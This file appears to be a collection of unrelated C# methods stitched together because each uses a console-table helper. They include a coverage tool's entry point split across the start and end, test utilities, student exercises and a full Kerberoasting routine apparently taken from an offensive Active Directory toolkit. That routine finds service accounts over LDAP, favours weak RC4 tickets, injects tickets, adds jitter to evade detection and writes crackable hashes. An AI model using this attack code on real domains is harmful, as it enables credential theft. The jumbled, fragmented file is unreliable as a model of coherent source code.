output format '{format}' is not supported"); } if (reporter.OutputType == ReporterOutputType.Console) { // Output to console logger.LogInformation(" Outputting results to console", important: true); logger.LogInformation(reporter.Report(result, sourceRootTranslator), important: true); } else { // Output to file var filename = Path.GetFileName(dOutput); filename = (filename == string.Empty) ? $"coverage.{reporter.Extension}" : filename; filename = Path.HasExtension(filename) ? filename : $"{filename}.{reporter.Extension}"; var report = Path.Combine(directory, filename); logger.LogInformation($" Generating report '{report}'", important: true); fileSystem.WriteAllText(report, reporter.Report(result, sourceRootTranslator)); } } var thresholdTypeFlagQueue = new Queue <ThresholdTypeFlags>(); foreach (var thresholdType in dThresholdTypes) { if (thresholdType.Equals("line", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlagQueue.Enqueue(ThresholdTypeFlags.Line); } else if (thresholdType.Equals("branch", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlagQueue.Enqueue(ThresholdTypeFlags.Branch); } else if (thresholdType.Equals("method", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlagQueue.Enqueue(ThresholdTypeFlags.Method); } } Dictionary <ThresholdTypeFlags, double> thresholdTypeFlagValues = new Dictionary <ThresholdTypeFlags, double>(); if (threshold.HasValue() && threshold.Value().Contains(',')) { var thresholdValues = threshold.Value().Split(',', StringSplitOptions.RemoveEmptyEntries).Select(t => t.Trim()); if (thresholdValues.Count() != thresholdTypeFlagQueue.Count()) { throw new Exception($"Threshold type flag count ({thresholdTypeFlagQueue.Count()}) and values count ({thresholdValues.Count()}) doesn't match"); } foreach (var thresholdValue in thresholdValues) { if (double.TryParse(thresholdValue, out var value)) { thresholdTypeFlagValues[thresholdTypeFlagQueue.Dequeue()] = value; } else { throw new Exception($"Invalid threshold value must be numeric"); } } } else { double thresholdValue = threshold.HasValue() ? double.Parse(threshold.Value()) : 0; while (thresholdTypeFlagQueue.Any()) { thresholdTypeFlagValues[thresholdTypeFlagQueue.Dequeue()] = thresholdValue; } } var coverageTable = new ConsoleTable("Module", "Line", "Branch", "Method"); var summary = new CoverageSummary(); var linePercentCalculation = summary.CalculateLineCoverage(result.Modules); var branchPercentCalculation = summary.CalculateBranchCoverage(result.Modules); var methodPercentCalculation = summary.CalculateMethodCoverage(result.Modules); var totalLinePercent = linePercentCalculation.Percent; var totalBranchPercent = branchPercentCalculation.Percent; var totalMethodPercent = methodPercentCalculation.Percent; var averageLinePercent = linePercentCalculation.AverageModulePercent; var averageBranchPercent = branchPercentCalculation.AverageModulePercent; var averageMethodPercent = methodPercentCalculation.AverageModulePercent; foreach (var _module in result.Modules) { var linePercent = summary.CalculateLineCoverage(_module.Value).Percent; var branchPercent = summary.CalculateBranchCoverage(_module.Value).Percent; var methodPercent = summary.CalculateMethodCoverage(_module.Value).Percent; coverageTable.AddRow(Path.GetFileNameWithoutExtension(_module.Key), $"{linePercent}%", $"{branchPercent}%", $"{methodPercent}%"); } logger.LogInformation(coverageTable.ToStringAlternative()); coverageTable.Columns.Clear(); coverageTable.Rows.Clear(); coverageTable.AddColumn(new[] { "", "Line", "Branch", "Method" }); coverageTable.AddRow("Total", $"{totalLinePercent}%", $"{totalBranchPercent}%", $"{totalMethodPercent}%"); coverageTable.AddRow("Average", $"{averageLinePercent}%", $"{averageBranchPercent}%", $"{averageMethodPercent}%"); logger.LogInformation(coverageTable.ToStringAlternative()); if (process.ExitCode > 0) { exitCode += (int)CommandExitCodes.TestFailed; } var thresholdTypeFlags = result.GetThresholdTypesBelowThreshold(summary, thresholdTypeFlagValues, dThresholdStat); if (thresholdTypeFlags != ThresholdTypeFlags.None) { exitCode += (int)CommandExitCodes.CoverageBelowThreshold; var exceptionMessageBuilder = new StringBuilder(); if ((thresholdTypeFlags & ThresholdTypeFlags.Line) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} line coverage is below the specified {thresholdTypeFlagValues[ThresholdTypeFlags.Line]}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Branch) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} branch coverage is below the specified {thresholdTypeFlagValues[ThresholdTypeFlags.Branch]}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Method) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} method coverage is below the specified {thresholdTypeFlagValues[ThresholdTypeFlags.Method]}"); } throw new Exception(exceptionMessageBuilder.ToString()); } return(exitCode); }); try { return(app.Execute(args)); } catch (CommandParsingException ex) { logger.LogError(ex.Message); app.ShowHelp(); return((int)CommandExitCodes.CommandParsingException); } catch (Win32Exception we) when(we.Source == "System.Diagnostics.Process") { logger.LogError($"Start process '{target.Value()}' failed with '{we.Message}'"); return(exitCode > 0 ? exitCode : (int)CommandExitCodes.Exception); } catch (Exception ex) { logger.LogError(ex.Message); return(exitCode > 0 ? exitCode : (int)CommandExitCodes.Exception); } }
public void NotifyEventCommitted(VerificationEvent @event) { _eventsForVerification.Enqueue(@event); var com = Interlocked.Increment(ref _totalWritten); if (com % NotificationStep == 0) { var table = new ConsoleTable("WORKER", "COMMITTED"); table.AppendRow("WRITER", com.ToString()); Log.Info(table.CreateIndentedTable()); } }
public void DummyTestCase(CovidDbContext db, string ssn, string centerName) { var FindCit = db.citizens.Find(ssn); var FindTestCenter = db.testCenters.Find(centerName); var CitizenTestedAt = new TestedAt(); CitizenTestedAt.SSN = FindCit.SSN; CitizenTestedAt.centerName = FindTestCenter.centerName; Console.WriteLine("Indtast Dato for test (Format: mm/dd/yyyy\n"); DateTime DummyDate = DateTime.Parse(Console.ReadLine()); CitizenTestedAt.date = DummyDate; Console.WriteLine("Indtast teststatus, enten Done eller Not Done\n"); string DummyStatus = Console.ReadLine(); CitizenTestedAt.status = DummyStatus; Console.WriteLine("Indtast testresultat. P for påvist, N for negativ\n"); string TestResult = Console.ReadLine(); int DoWhileFlag = 0; do { if (TestResult == "P") { CitizenTestedAt.result = "Positiv"; DoWhileFlag = 1; using (var DbContext = new CovidDbContext()) { var ViewTestResult = DbContext.citizenLocations.Where(c => c.SSN == ssn).ToList(); foreach (CitizenLocation CitLoc in ViewTestResult) { var Adr = CitLoc.Addr; var ViewTestResult2 = DbContext.citizenLocations.Where(c => c.Addr == Adr).ToList(); var InfTable = new ConsoleTable(); foreach (CitizenLocation CitLoc2 in ViewTestResult2) { if (CitLoc2.SSN == CitLoc.SSN) { //Samme } else { var DummyCitizenInf = DbContext.citizenLocations.Where(c => c.SSN == CitLoc2.SSN && c.date == CitLoc.date && CitizenTestedAt.date == CitLoc2.date); foreach (var item in DummyCitizenInf) { InfTable.AddRow(item.SSN); } } } InfTable.Write(); } } } else if (TestResult == "N") { CitizenTestedAt.result = "Negativ"; DoWhileFlag = 1; } } while (DoWhileFlag == 0); db.Add(CitizenTestedAt); db.SaveChanges(); Console.WriteLine("Dummy testcase er oprettet nu\n"); Thread.Sleep(5000); Console.Clear(); }
private bool Verify(CommandProcessorContext context, int writers, int readers, int events) { var readStatusses = Enumerable.Range(0, readers).Select(x => new Status(context.Log)).ToList(); var readNotifications = new List<AutoResetEvent>(); for (int i = 0; i < readers; i++) readNotifications.Add(new AutoResetEvent(false)); for (int i = 0; i < readers; i++) { var i1 = i; new Thread(() => Read(readStatusses[i1], i1, context, readNotifications[i1])) { IsBackground = true }.Start(); } var writeStatusses = Enumerable.Range(0, writers).Select(x => new Status(context.Log)).ToList(); var writeNotifications = new List<AutoResetEvent>(); for (int i = 0; i < writers; i++) writeNotifications.Add(new AutoResetEvent(false)); for (int i = 0; i < writers; i++) { var i1 = i; new Thread(() => Write(writeStatusses[i1], i1, context, events / writers, writeNotifications[i1])) { IsBackground = true }.Start(); } writeNotifications.ForEach(w => w.WaitOne()); _stopReading = true; readNotifications.ForEach(r => r.WaitOne()); context.Log.Info("dvub finished execution : "); var writersTable = new ConsoleTable("WRITER ID", "Status"); writeStatusses.ForEach(ws => { writersTable.AppendRow(ws.ThreadId.ToString(), ws.Success ? "Success" : "Fail"); }); var readersTable = new ConsoleTable("READER ID", "Status"); readStatusses.ForEach(rs => { readersTable.AppendRow(rs.ThreadId.ToString(), rs.Success ? "Success" : "Fail"); }); context.Log.Info(writersTable.CreateIndentedTable()); context.Log.Info(readersTable.CreateIndentedTable()); var success = writeStatusses.All(s => s.Success) && readStatusses.All(s => s.Success); if(success) context.Success(); else context.Fail(); return success; }
public void executeProgram(string path, string wordToFind, bool stoplistEnabled) { //INICIA EL CRONOMETRO Stopwatch watch = Stopwatch.StartNew(); if (stoplistEnabled) { Console.WriteLine("Actividad 12 con stoplist en proceso... "); } else { Console.WriteLine("Actividad 12 sin stoplist en proceso... "); } //OBTIENE LAS RUTAS DE LOS ARCHIVOS HTML string[] filePaths = Directory.GetFiles(path + "\\results\\act3\\files"); //OBTIENE LAS PALABRAS DE LA STOPLIST string[] stopList = File.ReadAllLines(path + "\\utils\\stoplist.html"); //SE CREA UN ARCHIVO TXT DE SALIDA DE DATOS Directory.CreateDirectory(path + "\\results\\act12"); //TABLA PARA GUARDAR LOS DATOS DE MANERA ORDENADA var dataTable = new ConsoleTable("Palabra", "Existencia", "Posting"); var dataTablePostings = new ConsoleTable("Palabra", "ID Documento", "Peso"); var dataTableRelations = new ConsoleTable("ID", "Documento"); var dataTableDocSearch = new ConsoleTable("ID", "Documento"); //GUARDA RELACION ID - DOCUMENTO HTML Dictionary <int, string> relationDocs = new Dictionary <int, string>(); //GUARDA TODAS LAS PALABRAS Y SU FRECUENCIA List <Word> wordsList = new List <Word>(); //GUARDA LOS DOCUMENTOS QUE CONTENGAN LA PALABRA BUSCADA List <string> docSearch = new List <string>(); //ENLISTA LA FRECUENCIA DE LAS PALABRAS POR ARCHIVO Dictionary <string, Word> freqDict; using (var progress = new ProgressBar()) { progress.setTask("Calculando frecuencia de palabras"); int count = 0; int countDocs = 1; foreach (string filepath in filePaths) { freqDict = new Dictionary <string, Word>(); string[] words = File.ReadAllLines(filepath); foreach (string word in words) { if (stoplistEnabled) { foreach (string stopWord in stopList) { if (word != stopWord) { if (!freqDict.ContainsKey(word)) { freqDict.Add(word, new Word(word /*, filepath*/)); } freqDict[word].freq++; //CONSIGUE EL FILE NAME DEL PATH string fileName = (string)Path.GetFileName(filepath); //REVISA SI EXISTE YA EL ARCHIVO EN EL DICCIONARIO if (!freqDict[word].KeyFileRepetitions.ContainsKey(fileName)) { //AGREGA EL NOMBRE DEL ARCHIVO AL DICCIONARIO freqDict[word].KeyFileRepetitions.Add(fileName, 0); } freqDict[word].KeyFileRepetitions[fileName]++; } } } else { if (!freqDict.ContainsKey(word)) { freqDict.Add(word, new Word(word /*, filepath*/)); } freqDict[word].freq++; //CONSIGUE EL FILE NAME DEL PATH string fileName = (string)Path.GetFileName(filepath); //REVISA SI EXISTE YA EL ARCHIVO EN EL DICCIONARIO if (!freqDict[word].KeyFileRepetitions.ContainsKey(fileName)) { //AGREGA EL NOMBRE DEL ARCHIVO AL DICCIONARIO freqDict[word].KeyFileRepetitions.Add(fileName, 0); } freqDict[word].KeyFileRepetitions[fileName]++; } if (wordToFind == word) { docSearch.Add((string)Path.GetFileName(filepath)); } } foreach (KeyValuePair <string, Word> word in freqDict) { if (word.Value.freq >= 3) { wordsList.Add(word.Value); } } //PROGRESO count++; relationDocs.Add(countDocs, (string)Path.GetFileName(filepath)); countDocs++; progress.Report((double)count / filePaths.Length); } //IMPRIME EL ULTIMO LOG DE PROGRESO Console.SetCursorPosition(0, Console.CursorTop - 1); Console.WriteLine("\n[##########] 100% | Calculando frecuencia de palabras"); } //ENLISTA LA EXISTENCIA DE LAS PALABRAS POR ARCHIVO SortedDictionary <string, Word> exDict = new SortedDictionary <string, Word>(); using (var progress = new ProgressBar()) { progress.setTask("Calculando existencia de palabras"); int count = 0; foreach (Word wordObj in wordsList) { if (!exDict.ContainsKey(wordObj.content)) { exDict.Add(wordObj.content, new Word(wordObj.content, wordObj.freq)); } exDict[wordObj.content].freq += wordObj.freq; exDict[wordObj.content].freqFile++; foreach (KeyValuePair <string, int> temp in wordObj.KeyFileRepetitions) { exDict[wordObj.content].references.Add(temp); } //PROGRESO count++; progress.Report((double)count / wordsList.Count); } //IMPRIME EL ULTIMO LOG DE PROGRESO Console.SetCursorPosition(0, Console.CursorTop - 1); Console.WriteLine("\n[##########] 100% | Calculando existencia de palabras"); } //HASHTABLE PARA GUARDAR LOS DATOS Hashtable hTable = new Hashtable(exDict); //ARRAY PARA GUARDAR EL RESULTADO int freqPosting = 0; foreach (DictionaryEntry wordObj in hTable) { dataTable.AddRow(wordObj.Key, (wordObj.Value as Word).freqFile, freqPosting); freqPosting += (wordObj.Value as Word).freqFile; foreach (KeyValuePair <string, int> repetition in (wordObj.Value as Word).references) { dataTablePostings.AddRow((wordObj.Value as Word).content, relationDocs.FirstOrDefault(x => x.Value == repetition.Key).Key, ((wordObj.Value as Word).freq * 100) / (wordObj.Value as Word).freqFile); } } foreach (KeyValuePair <int, string> document in relationDocs) { dataTableRelations.AddRow(document.Key, document.Value); } int counter = 1; foreach (string doc in docSearch) { dataTableDocSearch.AddRow(counter, doc); counter++; } //TERMINA EL CRONOMETRO watch.Stop(); string title = "Palabra buscada: " + wordToFind + "\n-------------\n"; //ESCRIBE TODAS LAS PALABRAS EN UN ARCHIVO CONSOLIDADO File.WriteAllText(path + "\\results\\act12\\posting.html", dataTablePostings.ToMinimalString()); File.WriteAllText(path + "\\results\\act12\\file.html", dataTable.ToMinimalString()); File.WriteAllText(path + "\\results\\act12\\relation.html", dataTableRelations.ToMinimalString()); File.WriteAllText(path + "\\results\\act12\\searchFor" + FirstCharToUpper(wordToFind) + ".html", title + dataTableDocSearch.ToMinimalString()); File.WriteAllText(path + "\\results\\act12\\results.txt", "\nTiempo total en ejecutar el programa: " + watch.Elapsed); Console.WriteLine("Actividad 12 completada exitosamente, Noice\n"); }
public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0)))) { Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg"); return; } if (delay != 0) { Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); if (jitter != 0) { Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); } Console.WriteLine(); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else if ((spns != null) && (spns.Count != 0)) { foreach (string s in spns) { Console.WriteLine("\r\n[*] Target SPN : {0}", s); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile); } } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } // inject ticket for LDAP search if supplied if (TGT != null) { byte[] kirbiBytes = null; string ticketDomain = TGT.enc_part.ticket_info[0].prealm; if (String.IsNullOrEmpty(domain)) { // if a domain isn't specified, use the domain from the referral domain = ticketDomain; } // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher if (ticketDomain != domain) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(domain); } string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); if (match.Success) { System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); dc = dcInfo.HostName; } // request a service tickt for LDAP on the target DC kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); } // otherwise inject the TGT to perform the domain searcher else { kirbiBytes = TGT.Encode().Encode(); } LSA.ImportTicket(kirbiBytes, new LUID()); } // build LDAP query string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } List <IDictionary <string, Object> > users = Networking.GetLdapQuery(cred, OUName, dc, domain, userSearchFilter, ldaps); if (users == null) { Console.WriteLine("[X] LDAP query failed, try specifying more domain information or specific SPNs."); return; } try { if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (IDictionary <string, Object> user in users) { string samAccountName = (string)user["samaccountname"]; string distinguishedName = (string)user["distinguishedname"]; string servicePrincipalName = ((string[])user["serviceprincipalname"])[0]; DateTime?pwdLastSet = null; if (user.ContainsKey("pwdlastset")) { pwdLastSet = ((DateTime)user["pwdlastset"]).ToLocalTime(); } Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.ContainsKey("msds-supportedencryptiontypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)(int) user["msds-supportedencryptiontypes"]; } if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } if (pwdLastSet == null) { // pwdLastSet == null with new accounts and // when a password is set to never expire if (!userPWDsetYears.ContainsKey(-1)) { userPWDsetYears[-1] = 1; } else { userPWDsetYears[-1] += 1; } } else { int year = pwdLastSet.Value.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] += 1; } } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { Interop.KERB_ETYPE etype = Interop.KERB_ETYPE.subkey_keymaterial; // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 etype = Interop.KERB_ETYPE.rc4_hmac; } bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, etype); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, etype); Helpers.RandomDelayWithJitter(delay, jitter); } } else { // otherwise use the KerberosRequestorSecurityToken method bool result = GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); } } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public Tests() { _table = new ConsoleTables.Core.ConsoleTable("Name", "Down Speed", "Write Speed", "Status", "Size", "CurrentSize"); }
private static void Generate() { Console.WindowWidth = 100; string[] files = Directory.GetFiles("Graphs/sadiagraphs").ToArray(); ConsoleTable<ExpandoObject> table = new ConsoleTable<ExpandoObject>(); table.Columns.Add(new ConsoleColumn<ExpandoObject>("File", "{0}", files.Max(s => s.Length), s => s.GetOrNull("FileName"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("#V", "{0}", 4, s => s.GetOrNull("Vertices"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("BW", "{0:0.00}", 5, s => s.GetOrNull("BooleanWidth"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("TIME", "{0}", 20, s => s.GetOrNull("Time"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("Written", "{0}", 20, s => s.GetOrNull("Written"))); dynamic[] statistics = files.Select(s => { dynamic dyn = new ExpandoObject(); dyn.FileName = s; return dyn; }).ToArray(); foreach (ExpandoObject s in statistics) { table.Rows.Add(s); } Parallel.ForEach(statistics, s => { SemiLinear(s); }); }
static int Main(string[] args) { var logger = new ConsoleLogger(); var app = new CommandLineApplication(); app.Name = "coverlet"; app.FullName = "Cross platform .NET Core code coverage tool"; app.HelpOption("-h|--help"); app.VersionOption("-v|--version", GetAssemblyVersion()); int exitCode = (int)CommandExitCodes.Success; CommandArgument module = app.Argument("<ASSEMBLY>", "Path to the test assembly."); CommandOption target = app.Option("-t|--target", "Path to the test runner application.", CommandOptionType.SingleValue); CommandOption targs = app.Option("-a|--targetargs", "Arguments to be passed to the test runner.", CommandOptionType.SingleValue); CommandOption output = app.Option("-o|--output", "Output of the generated coverage report", CommandOptionType.SingleValue); CommandOption <LogLevel> verbosity = app.Option <LogLevel>("-v|--verbosity", "Sets the verbosity level of the command. Allowed values are quiet, minimal, normal, detailed.", CommandOptionType.SingleValue); CommandOption formats = app.Option("-f|--format", "Format of the generated coverage report.", CommandOptionType.MultipleValue); CommandOption threshold = app.Option("--threshold", "Exits with error if the coverage % is below value.", CommandOptionType.SingleValue); CommandOption thresholdTypes = app.Option("--threshold-type", "Coverage type to apply the threshold to.", CommandOptionType.MultipleValue); CommandOption thresholdStat = app.Option("--threshold-stat", "Coverage statistic used to enforce the threshold value.", CommandOptionType.SingleValue); CommandOption excludeFilters = app.Option("--exclude", "Filter expressions to exclude specific modules and types.", CommandOptionType.MultipleValue); CommandOption includeFilters = app.Option("--include", "Filter expressions to include only specific modules and types.", CommandOptionType.MultipleValue); CommandOption excludedSourceFiles = app.Option("--exclude-by-file", "Glob patterns specifying source files to exclude.", CommandOptionType.MultipleValue); CommandOption includeDirectories = app.Option("--include-directory", "Include directories containing additional assemblies to be instrumented.", CommandOptionType.MultipleValue); CommandOption excludeAttributes = app.Option("--exclude-by-attribute", "Attributes to exclude from code coverage.", CommandOptionType.MultipleValue); CommandOption includeTestAssembly = app.Option("--include-test-assembly", "Specifies whether to report code coverage of the test assembly.", CommandOptionType.NoValue); CommandOption singleHit = app.Option("--single-hit", "Specifies whether to limit code coverage hit reporting to a single hit for each location", CommandOptionType.NoValue); CommandOption mergeWith = app.Option("--merge-with", "Path to existing coverage result to merge.", CommandOptionType.SingleValue); CommandOption useSourceLink = app.Option("--use-source-link", "Specifies whether to use SourceLink URIs in place of file system paths.", CommandOptionType.NoValue); app.OnExecute(() => { if (string.IsNullOrEmpty(module.Value) || string.IsNullOrWhiteSpace(module.Value)) { throw new CommandParsingException(app, "No test 